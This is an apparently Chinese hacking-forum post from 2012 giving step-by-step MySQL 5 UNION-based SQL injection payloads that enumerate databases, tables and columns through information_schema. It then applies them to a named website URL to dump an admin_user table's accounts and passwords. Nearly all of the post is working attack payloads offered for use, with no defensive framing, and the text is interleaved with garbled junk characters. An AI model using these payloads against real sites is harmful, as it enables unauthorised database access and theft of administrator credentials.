查库
7 T) g( m H) X) {
$ }7 o9 H9 d7 V/ q, zid=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
! j, U! }3 }, x
0 }- Q' T, n h查表
7 C& F3 O% j8 ?- t" `7 `
: S: c6 H" S- I+ Hid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
9 A. C6 v' I1 j8 q+ T2 X6 m3 l/ v, Q; w6 X5 j
查段$ Z; T8 X; o) G' [# \7 i
2 K& \1 F1 K$ L
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
3 _# B$ p/ j) i$ H( z; \6 B
0 l" |$ k7 l9 ^ J/ q: E2 `! o# \
$ }5 k8 Q' Y7 Rmysql5高级注入方法暴表) y( u- d6 q9 e( G$ r
( y: r7 |) X4 C( z. k例子如下:
1 ^2 V6 r2 _2 m( W. T; f0 u7 T: ?3 Q% m' x) L
1.爆表6 U5 V2 G. b g: d9 p! d( f
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
7 L6 N+ @7 ` C( F9 ^* A这样爆到第4个时出现了admin_user表。# x4 h" h# g; h4 f
8 i: c, ~/ q6 V: v5 [2.暴字段& }4 N4 ]4 T* H2 J& s, S
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
9 s0 I4 A8 u2 I. R' E0 t* Q% e9 \% H! `7 W! s
3 }" B0 X1 u' i" m6 `3.爆密码* h+ B& | R5 t
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/* . C$ ?8 G8 m+ Q7 u. L1 I
: q- S H; O4 {5 {; y5 k; m9 q: T6 V( p8 l+ Q1 |" n& E. A
|
发表于 2012-9-13 16:29:37
收藏
支持
反对